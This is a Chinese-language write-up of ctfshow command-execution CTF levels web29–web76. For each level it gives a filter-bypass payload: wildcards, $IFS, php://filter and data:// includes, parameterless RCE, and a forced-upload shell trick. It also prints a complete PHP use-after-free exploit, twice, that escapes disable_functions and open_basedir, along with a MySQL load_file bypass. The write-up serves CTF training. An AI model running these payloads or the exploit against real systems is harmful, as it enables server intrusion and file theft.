Ctfshow 命令执行 web29
pregmatch
是正则匹配函数,匹配是否包含flag,if(!preg_match("/flag/i", $c))
,/i
忽略大小写
可以利用system来间接执行系统命令
flag采用f*
绕过,或者mv fl?g.php 1.txt
修改文件名,或者cat 反引号ls反引号
linux通配符:https://www.cnblogs.com/ysuwangqiang/p/11364173.html
Ctfshow 命令执行 web30
多了对system和php的过滤
用*
绕过和passthru
Ctfshow 命令执行 web31
过滤flag
system
php
cat
sort
shell
.
空格
'
过滤了空格,可以使用%09
替代;也可以使用{$IFS}
或者$IFS$1
传参如下:
?c=passthru("tac%09fla*");
Ctfshow 命令执行 web32
过滤flag
system
php
cat
sort
shell
.
空格
'
反引号
echo
之前的方法都没有用了。无所谓,文件包含会出手。
https://www.cnblogs.com/endust/p/11804767.html
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
Ctfshow 命令执行 web33
又加了(
和"
的过滤,没事,文件包含还能出手。
Payload:
?c=include$_GET[a]?>&a=data://text/plain,<?php system('ls /');?>
此外,这里日志包含也是可行的。
Ctfshow 命令执行 web34
好的这下:
也被过滤了。没事,文件包含还能出手。
Payload:
?c=include$_GET[a]?>&a=data://text/plain,<?php system('ls /');?>
Ctfshow 命令执行 web35
<
和=
也被过滤了,没关系,文件包含还能出手
Payload:
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
Ctfshow 命令执行 web36
加了对/
和数字0-9
的过滤,还是文件包含,一样的payload。
Ctfshow 命令执行 web37
好家伙直接给我文件包含了是吧
Payload: (采用了base64编码绕过过滤)
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZmxhZy5waHAiKTs/Pg==
//(<?php system("tac flag.php");?>)
Ctfshow 命令执行 web38
Payload不变。
Ctfshow 命令执行 web39
虽然强加了后缀,但是不影响。因为?>
已经闭合PHP语句了。
?c=data://text/plain,<?php system("tac fla*.php");?>
Ctfshow 命令执行 web40
过滤了很多东西。只有空格,分号,英文括号还可以用。
看了一下wp(https://blog.csdn.net/Kracxi/article/details/121041140),果然无能为力。这题考察无参RCE。
两种payload。
?c=eval(array_pop(next(get_defined_vars())));//需要POST传入参数为1=system('tac fl*');
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
以下是我解题过程中学习整理的关于无参RCE的函数实操等。(部分借鉴付劲远师傅的web思维导图)
除了无参RCE,还有个利用session的方法。
payload:
?c=session_start();system(session_id());
session_id(PHPSESSID)就是要执行的命令。
但是这个方法有个弊端,命令不能有空格,因为cookie不解析空格。
Ctfshow 命令执行 web41
无字母数字rce原理:利用各种非数字字母的字符,经过各种变换(异或、取反、自增),构造出单个的字母字符,然后把单个字符拼接成一个函数名,比如说system,然后就可以动态执行了。所以说这里的核心就是非字母的字符换成字母字符。(https://www.cnblogs.com/pursue-security/p/15404150.html)
代码审计,没有过滤或(|)。跑个脚本吧(脚本小子就是我了)
查看目录。
Ctfshow 命令执行 web42
先看源码,一个新东西>/dev/null 2>&1
含义:
1>/dev/null
:首先表示标准输出重定向到空设备文件,也就是不输出任何信息到终端,不显示任何信息。
>
代表重定向到哪里,例如:echo “123” > /home/123.txt
1
表示stdout标准输出,系统默认值是1,所以">/dev/null"等同于"1>/dev/null"
2
表示stderr标准错误
&
表示等同于的意思,2>&1,表示2的输出重定向等同于1
绕过方法就是在命令后面加截断命令 ;
或 %0a
或 %26(&)
或 ||
。具体原理就是重定向也是命令的一部分。比如说 命令1;命令2 1>/dev/null
就是执行了命令1
和命令2 1>/dev/null
,虽然命令2被重定向了,但是命令1没有。
Ctfshow 命令执行 web43
过滤了分隔符;那可以换成别的分隔符。对cat的过滤可以用tac,nl替代,或者用各种转义符\
、'
、"
。
Payload:
?c=tac flag.php%26
Ctfshow 命令执行 web44
加了一个对flag
的过滤,我们用转义符绕过。
Payload:
?c=nl%20fl\ag.php||
Ctfshow 命令执行 web45
加了对空格
的过滤,用%09
代替。
Payload:
?c=tac%09fla*||
Ctfshow 命令执行 web46
2023.8.16时隔半年,强迫症迫使我把基础给算完。
增加了对数字
、*
、$
的过滤,空格可以用<>
或者<
或者%09
代替(%09是URL编码,不是数字),过滤了通配符*
但是?
也不能用了,所以flag
用转义符\
或者''
。
payload:
?c=nl<fla''g.php|| //在源码里面
?c=tac<fla\g.php||
发现一个奇怪的payload:这里通配符?
又可以用了,弄得我满脸问号?????后来去查了一下,是因为**<
和?
不能同时用**,上面的payload改成c=tac%09fla?.php||
就好啦
?c=awk%09'/f/'%09fla?.php||
等价于?c=awk%09'/f/{print}'%09fla?.php||
确实能用,解释一下。这个payload就是输出flag.php
文件中包含字符串f
的行。
如果我们把f
换成ctfshow
,那就只输出flag了。
参考文章:
https://blog.csdn.net/Dark_Tk/article/details/114844529
Ctfshow 命令执行 web47
又多过滤了一些命令执行函数more
less
head
sort
tail
。但是没过滤我最喜欢的tac
、nl
和awk
。
payload不变:
?c=nl<fla''g.php|| //在源码里面
?c=tac<fla\g.php||
?c=awk%09'/f/'%09fla?.php||
Ctfshow 命令执行 web48
再多过滤了一些命令执行函数sed
cut
awk
strings
od
curl
和反引号
。但是没过滤我最喜欢的tac
和nl
。
payload不变:
?c=nl<fla''g.php|| //在源码里面
?c=tac<fla\g.php||
Ctfshow 命令执行 web49
多过滤了百分号%
,对我的payload没影响,我空格是用<
绕过的。
payload不变:
?c=nl<fla''g.php|| //在源码里面
?c=tac<fla\g.php||
Ctfshow 命令执行 web50
多过滤了\x09
(水平制表符tab)和\x26
(&),对我的payload没影响。
payload不变:
?c=nl<fla''g.php|| //在源码里面
?c=tac<fla\g.php||
Ctfshow 命令执行 web51
多过滤了tac
,payload还有一个能用。
payload不变:
?c=nl<fla''g.php|| //在源码里面
# Ctfshow 命令执行 web52
多过滤了<
和>
,但是没过滤$
,上题payload把空格用$IFS
或者${IFS}
绕过就行。
payload:
?c=nl$IFS/fla''g|| //flag在根目录
?c=nl${IFS}/fla''g||
?c=ta''c$IFS/fla''g||
?c=c''at${IFS}/fla''g||
Ctfshow 命令执行 web53
过滤不变,这次也没有重定向了。
payload:
?c=nl${IFS}????.???
?c=nl$IFSfla''g.php||
?c=nl${IFS}fla''g.php||
?c=ta''c$IFSfla''g.php||
?c=c''at${IFS}fla''g.php||
Ctfshow 命令执行 web54
这次过滤的有点猛。
除了符号反引号
、\x09
、\x26
、%
、<
、>
、*
之外,cat
flag
more
wget
less
head
sort
tail
sed
cut
tac
awk
strings
od
curl
nl
scp
rm
也被过滤了,而且无法使用转义符绕过。
用别的命令读取flag
?c=uniq${IFS}f???????
?c=grep${IFS}'tf'${IFS}fl???php
(在 fl???php匹配到的文件中,查找含有tf的文件,并打印出包含 tf 的这一行,好奇怪,这里只有tf、sh、ow、{、}能找出flag)
使用文件执行命令+通配符绕过过滤(注意,这里ca?${IFS}f???是不可以的)
/bin
这个目录。
bin
为binary
的简写,主要放置一些 系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等
?c=/bin/ca?${IFS}f???????
复制文件
?c=mv${IFS}fl?g.php${IFS}x.txt
Ctfshow 命令执行 web55
hint:
https://blog.csdn.net/qq_46091464/article/details/108513145
https://blog.csdn.net/qq_46091464/article/details/108557067
过滤了所有字母
和反引号
、\x09
、\x26
、%
、<
、>
。这题考察无字母RCE。
方法一:
使用文件执行命令+通配符绕过过滤
?c=/???/????64 ????.???
// 即/bin/base64 flag.php
//base64这个命令就是将指定的文件的内容以base64加密的形式输出。这个不是通用的,因为base64不是每个机器都有
?c=/???/???/????2 ????.???
// 即/usr/bin/bzip2 flag.php
//把flag.php给压缩,然后访问url+flag.php.bz2就可以把压缩后的flag.php给下载下来。
方法二:
这题是命令执行不是代码执行,不能进行异或/拼接等操作。如果是eval()
中内容可控(代码执行)才可以进行异或/拼接等操作,因为识别异或/拼接等操作的是PHP代码不是终端(cmd)。
【强制文件上传下的无字母数字RCE】
这题考PHP强制文件上传机制。
PHP超全局变量如下
$_GET //存放所有GET请求
$_POST
$_SERVER
$_COOKIE
$_SESSION
$_FILES //存放所有文件
在PHP中,强制上传文件时,文件会被存在临时文件/tmp/phpxxxxxx
中
这个文件最后六位xxxxxx
有大小写字母、数字组成,生命周期只在PHP代码运行时。
题目中正则匹配过滤了大小写字母(i)和数字。
故我们要匹配/tmp/phpxxxxxx
的话可以用通配符/???/?????????
/???/?????????
范围太大了,我们如何缩小范围呢。
查看ascii码表,A前面是@,Z后面是[
/???/????????[@-[]
就表示了最后一位是大写
当临时文件最后一位是大写字母时/???/????????[@-[]
就能匹配到这个文件
linux中 .
代表执行一个文件,相当于source
可以执行sh命令。
如果上传的文件是一个shell脚本,那么. /???/????????[@-[]
(burp里面空格要写成+
或者%20
)就能执行这个shell脚本,实现RCE。
如何强制上传文件?
我们可以在vps上写一个表单文件
upload.html
<form action="http://6741a41b-173c-4a20-9a15-be885b3344de.challenges.ctfer.com:8080/" enctype="multipart/form-data" method="post" >
<input name="file" type="file" />
<input type="submit" type="gogogo!" />
</form>
访问vps上的upload.html
上传内容为whoami
的txt
文件。同时抓包。
改一下包。发现能正常执行了,并且返回了结果。
获得flag。(成功的概率,就是最后一位是大写的概率是26/26+26+10,多发几次包就行了)
Ctfshow 命令执行 web56
这次把数字
也过滤了。
和上题一样,PHP强制上传文件机制还是可以使用滴。
Ctfshow 命令执行 web57
这次过滤了很多。过滤了点号.
,不能用PHP强制上传文件机制
preg_match("/\;|[a-z]|[0-9]|\反引号|\|\#|\'|\"|\反引号|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)
题目提示flag in 36.php
。
关键代码:system("cat ".$c.".php");
。
我们可控的是$c
,根据提示,我们只需要构造出36
即可。
先补个前置知识:二进制取反
二进制中第一位为符号位,0代表正数,1代表负数,如 0000 0001
是+1
,1000 0001
是-1
。同时加上补码原码等相关概念,就可以理解二进制取反。
结论:如对 a 按位取反,则得到的结果为 -(a+1)。36
取反是-37
,-37
取反是36
。
详细请看:https://zhuanlan.zhihu.com/p/261080329
在linux中
${_}
代表上一次命令执行的结果
$(())
代表做运算,为0
$((~$(())))
代表~0
(0取反)为-1
$((~$(()))) $((~$(()))) $((~$(())))
代表-1-1-1
$(( $((~$(())))$((~$(())))$((~$(()))) ))
代表-1-1-1
做运算就是-3
$((~$(( $((~$(())))$((~$(())))$((~$(()))) ))))
代表-1-1-1
做运算后-3
取反就是2
中间37个$((~$(())))
就是-37
,取反后就是36
$((~$(( $((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))) ))))
payload:
?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
flag在源码中。
Ctfshow 命令执行 web58
这题无过滤,但是开始禁用函数了。
一般是先看phpinfo
查看被禁用的函数。但是这里phpinfo
也被禁用了,只能一个一个尝试。
禁用了phpinfo
、system
、shell_exec
等
Y4爷博客给了两种读取文件路径方式
c=print_r(scandir(dirname('__FILE__')));
(查看根目录:print_r(scandir(‘/’)); )
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
读文件的函数有这些:
file_get_contents()
highlight_file()
show_source()
fgets()
file()
readfile()
fopen()
读文件函数payload:
c=echo file_get_contents('flag.php');
c=echo highlight_file('flag.php');
c=highlight_file("flag.php");
c=show_source('flag.php');
c=
$a=fopen("flag.php","r");
while($b=fgets($a)){
echo $b;
}
//file()函数:把整个文件读入一个数组中
c=print_r(file('flag.php'));
c=var_dump(file('flag.php'));
c=readfile("flag.php");
//一行一行读取
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}
//一个一个字符读取
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);var_dump($line);}
也可以复制、重命名文件:
copy("flag.php","flag.txt");
rename("flag.php","flag.txt");
文件包含直接读取flag:
c=include('flag.php');echo $flag;
c=include($_GET['1']); ?1=php://filter/convert.base64-encode/resource=flag.php
c=include('flag.php');var_dump(get_defined_vars());
//var_dump:输出注册变量
//get_defined_vars():函数返回由所有已定义变量所组成的数组
此外,还能使用无参RCE、日志包含等方法,就不一一列举了。
Ctfshow 命令执行 web59
源码一样,函数多禁用了几个,做法同web58。
Ctfshow 命令执行 web60
源码一样,函数多禁用了几个,做法同web58。
Ctfshow 命令执行 web61
源码一样,函数多禁用了几个,做法同web58。
Ctfshow 命令执行 web62
源码一样,函数多禁用了几个,做法同web58。
Ctfshow 命令执行 web63
源码一样,函数多禁用了几个,做法同web58。
Ctfshow 命令执行 web64
源码一样,函数多禁用了几个,做法同web58。
Ctfshow 命令执行 web65
源码一样,函数多禁用了几个,做法同web58。
Ctfshow 命令执行 web66
相较于web58,源码一样,但是之前payload都用不了了,仔细一查是flag文件路径变了。
回忆一下Y4爷博客给了两种读取文件路径方式
c=print_r(scandir(dirname('__FILE__')));
(查看根目录:print_r(scandir(‘/’)); )
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
我们先看看当前目录:
c=print_r(scandir(dirname('__FILE__')));
确实没有flag。
再看看根目录:
c=print_r(scandir('/'));
发现flag在根目录flag.txt
文件中,那么把之前的payload中的flag.php
换成/flag.txt
就行了。
Ctfshow 命令执行 web67
源码还是一样,相较于wen66,过滤了print_r()
函数,我们用var_dump()
函数替换。flag还是在根目录flag.txt
文件中。
看看根目录:
c=var_dump(scandir('/'));
其他同web66、web58。
Ctfshow 命令执行 web68
又ban了highlight_file()
函数,导致我们看不见源码。但是源码还是一样的。
我们还有很多方法。同web67。
Ctfshow 命令执行 web69
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Wt49l3pr-1692463133485)(https://tc-md.oss-cn-hangzhou.aliyuncs.com/img/202308191458554.png)]
从web58到这里,文件显示的代码,比如show_source
、highlight_file
、file_get_contents
等基本都被禁了,但是文件包含一直屹立不倒,还是本篇文章开头那句,无所谓,文件包含会出手。
学到这里我发现,从一开始感觉web板块的知识点是一座一座孤岛,到现在有部分知识能融合到一起,算是有所成长吧。
这题把var_dump()
函数ban了,可以用var_export()
函数替换。
此外,如果scandir()
被过滤可以用glob()
。用法var_dump(glob('/*'));
看看根目录:
c=var_export(scandir('/'));
命令执行拿flag。
c=include('/flag.txt');var_export(get_defined_vars());
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5YMZpf6Q-1692463133486)(https://tc-md.oss-cn-hangzhou.aliyuncs.com/img/202308191503405.png)]
Ctfshow 命令执行 web70
做法同web69。
Ctfshow 命令执行 web71
这题附件给了源码,源码如下:
<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
ob_get_contents()
:得到缓冲区的内容(数据)。
ob_end_clean()
:会清除缓冲区的内容,并将缓冲区关闭,但不会输出内容。
preg_replace("/[0-9]|[a-z]/i","?",$s)
:把存放缓冲区内容的变量$s
的内容都替换为问号。用之前payload发现输出的一大堆问号,就是因为这句话。
方法一:(这个方法目前网上只有我这篇有,雅虎~)
既然eval()
函数给了我们执行任意代码的力量,那我们模仿源码,以其人之道还之其人之身。
payload:
c=include("/flag.txt");$ss=ob_get_contents();ob_end_clean();echo $ss;
方法二:
也可以用exit()/die()提前结束代码,这样就不会将字符替换为问号
playload:
c=include('/flag.txt');var_export(get_defined_vars());exit();
或者
c=include('/flag.txt');var_export(get_defined_vars());die();
方法三:
其实方法一和方法三原理是一样的,都是手动输出缓冲区。不过这种方法输出的字符肉眼不可识别。。。
c=include("/flag.txt");echo ~ob_get_contents();
自动化POC:
import requests
url = "http://64fe58eb-5766-484d-b8db-bd1f4b3ab1c2.chall.ctf.show/"
d = {'c': 'include("/flag.txt");echo ~ob_get_contents();'}
s = requests.post(url, d).content
for i in s:
print(chr(~i&0xff), end='')
# 脚本来自群里阿狸师傅
Ctfshow 命令执行 web72
源码不变。
这题flag位置又变了。就像她,是如此的善变。
读目录。
c=var_export(scandir('/'));exit();
发现读不了,有open_basedir
配置项限制,把目录限制在了/var/www/html/
。
open_basedir
配置项在NepNepCTF-2023的Ez_include中也出现过。
我们可以利用glob伪协议
,glob伪协议
在筛选目录时不受open_basedir
制约。也就是web58中,Y4师傅给的第二种查看目录的方法。
查看根目录,发现flag在flag0.txt
文件中。
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
知道了flag文件的位置,接下来就是如何绕过open_basedir
制约读取文件,这里大师傅们给了一个脚本:
<?php
pwn("命令");
function pwn($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace(); # ;)
if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
# str_shuffle prevents opcache string interning
$arg = str_shuffle(str_repeat('A', 79));
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10; # increase this value if UAF fails
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle(str_repeat('A', 79));
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);
# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
($helper->b)($cmd);
exit();
}
脚本中str_repeat()
函数被过滤了,我们使用sprintf()
函数替换。
payload需要根据需要闭合源码
、修改命令
、URL编码
(本篇wp中是未编码的)。
c=?><?php
pwn("tac /flag0.txt");
function pwn($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace(); # ;)
if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf('%c',$ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf('%c',$v & 0xff);
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
# str_shuffle prevents opcache string interning
$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10; # increase this value if UAF fails
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);
# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
($helper->b)($cmd);
exit();
}
Ctfshow 命令执行 web73
源码一样,这题比web72还少了一个open_basedir
配置项制约。
读根目录,flag在flagc.txt
文件中
c=var_export(scandir('/'));exit();
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1Qz5EPBx-1692463133488)(https://tc-md.oss-cn-hangzhou.aliyuncs.com/img/202308191925376.png)]
但是这里把include
读取flag。
c=include('/flagc.txt');var_export(get_defined_vars());die();
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JTBiPu5h-1692463133488)(https://tc-md.oss-cn-hangzhou.aliyuncs.com/img/202308191929591.png)]
Ctfshow 命令执行 web74
源码一样。
禁用了scandir()
函数。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jGwN9I1j-1692463133488)(https://tc-md.oss-cn-hangzhou.aliyuncs.com/img/202308191933891.png)]
读取根目录:(flag在flagx.txt
文件中)
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}die();
或者
c=var_export(glob('/*'));die();
其余同web73。
c=include('/flagx.txt');var_export(get_defined_vars());die();
Ctfshow 命令执行 web75
看起来和之前一样。
这题又加上了open_basedir
限制。
读取根目录:(flag在flag36.txt
文件中)
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}die();
尝试web72的脚本读取flag失败了。
官方hint的解法是:
利用mysql
的load_file
读文件,绕过open_basedir
限制。(只限制了PHP的访问目录,不关MYSQL的事情)
数据库名、账号密码可以通过之前的题目(过滤少的)拿到。所以这个方法条件是必须要有数据库名、账号密码
PHP 数据对象 (PDO) 扩展为PHP访问数据库定义了一个轻量级的一致接口。
PDO 提供了一个数据访问抽象层,这意味着,不管使用哪种数据库,都可以用相同的函数(方法)来查询和获取数据。
PDO随PHP5.1发行,应用条件是PHP>5.1
payload:
c=
try {
$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');
foreach ($dbh->query('select load_file("/flag36.txt")') as $row) {
echo ($row[0]) . "|";
}
$dbh = null;
} catch (PDOException $e) {
echo $e->getMessage();
exit(0);
}
exit(0);
Ctfshow 命令执行 web76
同web75,flag文件名是flag36d.txt
。
payload:
c=
try {
$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');
foreach ($dbh->query('select load_file("/flag36d.txt")') as $row) {
echo ($row[0]) . "|";
}
$dbh = null;
} catch (PDOException $e) {
echo $e->getMessage();
exit(0);
}
